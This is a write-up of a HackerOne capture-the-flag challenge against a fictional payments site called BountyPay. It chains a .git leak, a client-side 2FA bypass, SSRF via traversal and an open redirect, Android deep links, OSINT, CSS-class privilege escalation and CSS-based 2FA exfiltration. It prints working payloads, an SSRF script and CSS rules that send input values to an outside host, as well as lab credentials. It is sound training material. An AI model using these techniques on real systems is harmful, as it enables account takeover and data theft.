HackerOne-2006 CTF Writeup

HackerOne-2006 CTF Writeup

After playing quite an amount of CTFs till date, I can really say that this was one of the extraordinary ones and it is quite visible once you consider the magnitude of logical deductions it required to follow the right path and not the rabbit holes and the effort taken in arranging the stable infrastructure required. Thanks, Hackerone, and the Authors for amazing 24 hours of intellectual satisfaction which was much needed in the lockdown. It felt good to be in the Top 5s to crack this.

An Unorthodox CTF requires an Unorthodox writeup hence it will be a summarised walkthrough of my thought process. The Hackerone Report submiited can be found here #887766

For the people who actively tried and could not solve till the end, an illustrative TL;DR will be fine:

In a nutshell, Solution has 8 steps:

Index

  1. Initial Recon
  2. Exposed .git directory
  3. Login 2FA Bypass
  4. Server-Side Request Forgery
  5. Android Challenges
  6. API + OSINT
  7. Privilege Escalation
  8. Stealing Payment 2FA Code using CSS

Initial Recon

As soon as hacker sees the *wildcard,

We do Recon & Subfinder yeilds:

SubDomains Notes Taken
bountypay.h1ctf.com Static Home Page.
app.bountypay.h1ctf.com For Customers Use, Marten is one of em.
staff.bountypay.h1ctf.com For BountyPay employees probably.
api.bountypay.h1ctf.com Hmm, The API service for above two. Has Open Redirect, Might be for chaining later🤔
software.bountypay.h1ctf.com Interesting one, Can’t be accessed directly due to IP whitelist, I smell SSRF.

In the text ahead, I will address the subdomains as separate entities (Ex. app.bountypay.h1ctf.com will be just App)

Exposed .git directory

After trying usual bugs of Auth Bypass in attempts to login into App and Staff, we are just left with more content discovery, and doing usual dirsearch:

We find that some part of the .git directory is exposed on App for us to analyze. Looking into these files, we get a reference to a public Github Repo of BountyPay(bounty-pay-code/request-logger). This repo leaks a path(/bp_web_trace.log) where logs are stored for the App. The logs contain login credentials of a BountyPay Customer Brian Oliver(brian.oliver:V7h0inzX). Now we have a session on App I guess.

Login 2FA Bypass

No No, Not so fast! BountyPay is secure. They have Login 2FA to save their customers 🙃. The App sends a 2FA code to the customer’s phone.

The POST request for submitting 2FA code had 4 parameters.
Username, Password, Challenge & Challenge_Answer.

The Challenge_Answer param is supposed to be the 2FA code. In the very first attempt after verifying that the weird Challenge Param is of length 32, I sort of guessed that this is md5 of answer and as the App is taking this from client-side, we might be able to submit our own challenge according to our own answer and fool the App, and BOOM. It just worked. Now we are logged In with Brian’s Creds on the App.

Server Side Request Forgery

POST-Succesfull Auth, App creates a Base64 encoded JSON cookie: token, which after decoding looks like:

1
{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}

After fuzzing both params, we come to know that App is using hash for the session and account_id for creating URI for the server-side request to API endpoint for getting the Bounty Payment data for Brian’s account_id F8gHiqSdpK(App very generously gives away the endpoint in the HTTP response of /statements?month=05&year=2020)

(https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=05&year=2020)
Note: Direct access to this endpoint is not possible, there is some secret token added by App.

Remember the notes from Recon? Software is not accessible due to whitelist and Api has Open Redirect.

To reach the Software we need SSRF and to get that, we have:

  1. Injection point(/api/accounts/account_id) in URI to Api
  2. OpenRedirect(/redirect?url=) on Api to make the request go to wherever we want.

What we dont have yet is traversal in URI to reach /redirect from /api/account/account_id and account_id=../../redirect?url=software# might just work.

After testing the theory, it just worked!

1
{"account_id":"../../redirect/?url=https://software.bountypay.h1ctf.com/#","hash":"de235bffd23df6995ad4e0930baac1a2"}

We have full-blown SSRF now and we can reach the Software. 💥

But there is nothing interesting on it. 😕 The HTML on Software only had one standard Login form with POST method:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<h1 style="text-align: center">Software Storage</h1>
<form method="post" action="/">
<div class="panel panel-default" style="margin-top:50px">
<div class="panel-heading">Login</div>
<div class="panel-body">
<div style="margin-top:7px">
<label>Username:</label>
</div>
<div>
<input name="username" class="form-control">
</div>
<div style="margin-top:7px">
<label>Password:</label>
</div>
<div>
<input name="password" type="password" class="form-control">
</div>
</div>
</div>
<input type="submit" class="btn btn-success pull-right" value="Login">
</form>

We just have GET SSRF and we can’t issue POST SSRF, After trying Scenarios like CRLF, etc. and not getting anything, this SSRF felt almost useless for quite some time. But I was sure that it is meant to hit Software in the scenario. I learned from the initial Login step on App that, If we don’t have Hint to move forward, all we can do is content discovery 🙂. Hence wrote a small python script to do Directory brute-force on Software using this SSRF.

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import base64

burp0_url = "https://app.bountypay.h1ctf.com:443/statements?month=04&year=2020"

dirs = open("common-directories.txt", "r")
for d in dirs:
token = '{"account_id":"../../redirect/?url=https://software.bountypay.h1ctf.com/'+d+'#","hash":"de235bffd23df6995ad4e0930baac1a2"}'
token = base64.b64encode(token)
burp0_cookies = {"token": token}
data = requests.get(burp0_url,cookies=burp0_cookies).text
print data

And on https://software.bountypay.h1ctf.com/uploads we get:

1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<title>Index of /uploads/</title>
</head>
<body bgcolor="white">
<h1>Index of /uploads/</h1>
<hr>
<pre><a href="../">../</a><a href="/uploads/BountyPay.apk">BountyPay.apk</a> 20-Apr-2020 11:264043701</pre>
<hr>
</body>
</html>

A link to an Android APK! https://software.bountypay.h1ctf.com/uploads/BountyPay.apk which is directly accessible 😁. Now we download this APK and start analyzing. Turns out it is corrupted. I hackily tried to Fix the corruption, At some point, I even considered to fix this by reading all about PZip. Some cool references:

  1. https://fadec0d3.blogspot.com/2017/04/plaidctf-2017-zipper-50.html
  2. https://git.zx2c4.com/BruteZip/about/

But, After banging my head for some hours, I got to know that I was one of the unfortunates to reach this step too early, As it was not intentional to give corrupted APK. Thanks to @Ziot on Hacker101 discord for letting me know that they have fixed the issue and later nahamsec also tweeted out about it. But I would have definitely played for hours with corrupted APK if Ziot had not notified.

Android Challenges

Reversing and analyzing the BountyPay App’s AndroidManifest.xml and Source Code, We get two know that there are 5 activities:

Activity Purpose
MainActivity A form that takes Twitter Handle and Username for analytics.
PartOneActivity The Activity code Checks if it was opened through DeepLink URI having scheme = one and host = part and has parameter start = PartTwoActivity, If yes, then it stores that PartOne is solved and starts PartTwoActivity. ADB command to achieve above: $ adb shell am start -d one://part?start=PartTwoActivity
PartTwoActivity Similary this activty too requires a deeplink to solve: $ adb shell am start -d “two://part?two=light\&switch=on”. After that, it makes a text Field and submit button visible. When we submit this form, it compares the String Value from text field with the one it fetched from DataSnapshot. If it is equal then we solve this step and it fires PartThreeActivity. We get this value to be X-Token, I used frida hook to dump the Strings which are being compared using handy frida-snippet. $ frida -U -f bounty.pay -l ./frida-snippet.js –no-paus
PartThreeActivity This step too expects us to deduce the DeepLink from SourceCode analysis. It turn out to be: \$ adb shell am start -d “three://part?three=UGFydFRocmVlQWN0aXZpdHk=\&
switch=b24=\&header=X-Token”
where params are, three = base64("PartThreeActivity"), switch = base64("on") \& header=X-Token. It then makes a form visible which expects us to submit a valid Hash, we can again dump it out with same frida-snippet as in step two. Hash: After we submit this hash, App fires a POST request and leaks the Host \& Header in logs:
CongratsActivity It congratulates after solving above 3 steps in sequence! Now we have the token! which we did not ealier. This X-Token can be used to directly access the Api.

API + OSINT

Now, we have a hint to work on Api with given X-token. From /statements endpoint on App we know that Api hosts a REST api on /api/*. With this much of little information, a hacker always is left with nothing to do other than more content discovery 🙂. I fuzzed for API docs/more endpoints on /* and /api/* on api.bountypay.h1ctf.com in a hope to see some hidden endpoints and yep, we do get the hit on /api/staff!

\$ wfuzz –hc 404 -H “X-Token: 8e9998ee3137ca9ade8f372739f062c1” -w wordlist/general/common.txt https://api.bountypay.h1ctf.com/api/FUZZ

This confirms that we are on the right path! 😪

https://api.bountypay.h1ctf.com/api/staff gives us something interesting:

And standard REST Api tests of finding more valid METHODS, Parameters on this endpoint yields:

Now we need to find what parameter we are missing and from where it is missing (GET/POST/Content-Type?).

By REST Api constructs we easily can assume that if GET /api/staff gets staff array, then POST /api/staff must be used for Creating new staff object. So let’s pass it the parameters related to staff. After some time of fuzzing and passing parameters like name, username, staff_id in GET queries \& POST body with different content types, we end up with:

So this indeed is how a valid staff creation POST request looks like! Now we just need to create one account for ourselves.

But unfortunately, nearly 1-2 hours of fuzzing did not result in anything to move forward. At this point, I had tried multiple scenarios from the account takeover scene to weird obscure fuzzing to create a valid staff account.
Turns out, I was again one of those few unfortunates who reached this stage too early! The hint for this next step was given just after I solved this step.

After too much of cosmic fuzzing, I started thinking maybe Fuzzing is not the way forward, like Git repo & Android challenges, there is a another dimension than Web to it. Maybe of OSINT. A scenario like staff leaking credentials on public forum is possible.
So I searched for terms like "BountyPay", "staff_id", "Sam Jenkins", "Brian Oliver", "STF:KE624RQ2T9" on Github, Pastebin, Linkedin, Facebook and at Last on Twitter! and found this tweet(later Hackerone retweeted it to give hint 😬):

We find Sandra in BountyPay HQ’s following accounts and in her account we find her uploaded photo of Employee ID card containing what we need, the precious staff_id=STF:8FJ3KFISL3

Now we have an account of newly joined employee Sandra on Staff.

1
sandra.allison : s%3D8qB8zEpMnc*xsz7Yp5

This marked my 16th hour of continuous hacking on this CTF, after this, I went to sleep 😪

Privilege Escalation

Looking around on the Staff App through Sandra’s account, We notice some fishy things:

  1. Template parameter is client-controlled.
  2. A weird way of updating Profile image through CSS(css/style.css) classes by having inline images as base64 encoding served through Data URI.
  3. There is an admin role to some staff accounts.
  4. Report This Page feature for admin to visit and see if there is something wrong.
  5. And the most interesting:
1
2
3
4
5
6
7
8
9
10
11
12
$(".upgradeToAdmin").click(function() {
let t = $('input[name="username"]').val();
$.get("/admin/upgrade?username=" + t, function() {
alert("User Upgraded to Admin")
})
}), $(".tab").click(function() {
return $(".tab").removeClass("active"), $(this).addClass("active"), $("div.content").addClass("hidden"), $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1
}), $(".sendReport").click(function() {
$.get("/admin/report?url=" + url, function() {
alert("Report sent to admin team")
}), $("#myModal").modal("hide")
}), document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click"));

The /js/website.js Javascript File.

It has an endpoint GET /admin/upgrade?username= which was for upgrading staff to an admin. But only upon admins invoking, it would work. Ohk, so we do have a CSRF-ish feature of Report This Page to admin. So lets report /admin/upgrade?username=sandra.allision

But the feature has security enabled!
Pages in the /admin directory will be ignored for security

After following every rabbit hole of bypassing this feature I gave up on it and started to look for something else and the last line of JS file caught my eye.

1
("#tab1" === document.location.hash && $(".tab1").trigger("click"), ..

This is almost useless in the app’s context, But it does one very interesting thing, and i.e. it triggers click event.

So if #tab2 is in the URL, all elements with class tab2 will get their click event triggered. And what if, one of that element has class upgradeToAdmin? Yep the click handler in our JS will fire the GET /admin/upgrade?username=. We also have a way to control CSS of elements through the Update avatar feature which takes an avatar class from the client-side.

So profile_avatar=tab1 upgradeToAdmin and #tab1 fragment in URI will trigger the ajax. But we want this to be triggered by admin. We need to report the page to admin where our injected classes are getting reflected? And we do have a unique and relevant page of tickets /?template=ticket&ticket_id=3582 where our classes are Reflected in our avatar element 🔥 So, Reporting /?template=ticket&ticket_id=3582#tab1 with profile_avatar=tab1+upgradeToAdmin will do the trick!

But we are still Just missing one thing of the puzzle.

1
2
let t = $('input[name="username"]').val();
$.get("/admin/upgrade?username=" + t, function() {

we still don’t have a page to report on which our CSS classes are reflected as well as has an input element with name attribute username & value set to sandra.allison 😢

There were two possibilities, either there is HTMLi in the username or we have to use the Login template. The later seemed impossible at the moment so followed a bit of rabbit hole. But the use of the template parameter in query was itchy, it must have some use in CTF or else one could easily develop an app UI without such parameter.

I thought, What If we could load two templates(Login & Ticket) simultaneously with this param, and literally laughed 😆 But when I fuzzed the template parameter, I was shocked and ecstatic. literally. We can load multiple templates in one page indeed 🤯

/?template[0]=login\&template[1]=ticket&ticket_id=3582#tab1

It only not loaded two templates, It also respected ticket_id parameter. This definitely showed me that this is not a rabbit hole! Now as I was confident about my partial exploit URL to report to Admin, We still need value populated in input tag as sandra.allison. It was very easy to deduce that we are missing something in our URL, a query parameter probably that will populate input tag, a fair guess is username in the query. And yes! Application reflects it back into Login template in attribute value.

Final Exploit:

/admin/report?url=Base64(?template[0]=login&username=sandra.allison&template[1]=ticket&ticket_id=3582#
tab1
)

We report it and Sandra is now Admin! 👸

This Step was my favorite step in the CTF 🧠. The thing I liked was the components(Js & CSS) involved in solution were not just there for CTF, it was actually a working code and yet it gave us Privilege Escalation exploit.

After becoming admin, we get to know that BountyPay’s admins basically can see customers passwords in plaintext 👀, @Hackerone could have just contacted BountyPay support instead of declaring CTF to get Marten’s credentials (marten.mickos : h\&H5wy2Lggj*kKn4OD&Ype) but where’s the fun in that 🙂

Stealing Payment 2FA Code using CSS

We Login with these creds on App, Again bypassing the Login 2FA with the trick from step 2, Get the May 2020’s bounties, Click Pay, and ..

Another 2FA challenge! 😨

This time the implementation was different, First it asked us to send the 2FA challenge code, Then sent a POST request,

Seems like It’s taking the URL of a stylesheet which is used for styling the 2FA code page. To just confirm that if it can be changed to our controlled CSS and the execution context we are in:

No, Problem. ⚔️ We do have the Awesome research The Sexy Assassin - Tactical Exploitation using CSS from legendary Gareth Heyes, David Lindsay, and Eduardo Vela. TL;DR, We can exfiltrate the data from the 2FA page sent to Marten if some conditions are met. Attack Methodology from the above research:

CSS can Compute!

How:

1
2
3
element:condition{
action;
}

So, a CSS payload like:

1
2
3
input[value*="secret"]{} {
background-image:url("https://attacker.com/?value_contains=secret");
}

will successfully exfiltrate the information that one of the input tag on the HTML page contains value secret somewhere. In this way, we can use CSS Attribute Selectors for our exfiltration.

So let’s go step by step to deduce what’s on the marten’s payment 2FA page:

1. What elements?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
input {
background-image:url("https://tunnel.shoebpatel.com/?input");
}

a {
background-image:url("https://tunnel.shoebpatel.com/?a");
}

p {
background-image:url("https://tunnel.shoebpatel.com/?p");
}

div {
background-image:url("https://tunnel.shoebpatel.com/?div");
}

we get the

1
2
"GET /?div HTTP/1.1" 200 -
"GET /?input HTTP/1.1" 200 -

Ok, so we do have \ tags to get the data out of em with payload like:

1
2
3
input[value^="s"] {
background-image:url("https://tunnel.shoebpatel.com/?s");
}

But as this is a Blind CSS injection scenario, we can’t use classic techniques of exfiltrating the multi-length values, which require the vulnerable page to be iframe-able.* Reference.

This leaves us with only one possibility that either the 2FA code is of length one(unlikely) or the challenge author has put code in multiple input tags with each character in one of them!

2. How many <input>s?
To get the idea of how many tags are there, we can use the :nth-of-type CSS pseudo-class:

1
2
3
4
5
6
/* Selects every fourth <input> element with value "s" 
among any group of siblings */

input[value="s"]:nth-of-type(4){
background-image:url("https://tunnel.shoebpatel.com/?its-4th-child");
}

This will only fire if there are 4 consecutive or more input tags in a parent element.

We find out that there are 7!

So we can picturize the 2FA code page as following HTML:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>
<div>
<input value="1">
<input value="2">
<input value="3">
<input value="4">
<input value="5">
<input value="6">
<input value="7">
</div>
</body>
</html>

So wrote a quick python script from above observations that generates payload CSS file which will exfiltrate the values from all of <input> tags at once and will tell us the sequence of their occurrence too.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# $ python ./css_exp.py

#2FA gotta be Alphanumeric
alpha_num = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
exploit = ""

#For each of 7 input tags
for pos in range(1, 8):
pos = str(pos)
#For each alpha numeric character
for char in alpha_num:
exploit += '''input[value="'''+char+'''"]:nth-of-type('''+pos+'''){
background-image:url("https://tunnel.shoebpatel.com/?position='''+pos+'''&char='''+char+'''");
}\n'''


with open("2fa-exploit.css", "w") as file:
file.write(exploit)

As soon as we send our 2fa-exploit.css, we get 7 hits:

Assembling them in sequence gives us the 2FA code: RT8i1EC

And, Pwned! 💣

We finally get the message that we completed the challenge and the PoC Flag🚩:
\^FLAG\^736c635d8842751b8aafa556154eb9f3\$FLAG\$ 🤘

The End

Thanks for reading, I tried as much as I could to make this a short read without missing details and the rabbit holes that I followed. I wanted to showcase all of my depth-first approaches but at the time of writing this up, already some days have passed and I forgot some of them. I hope you enjoyed reading it as much as I loved solving this challenge.

- CaptainFreak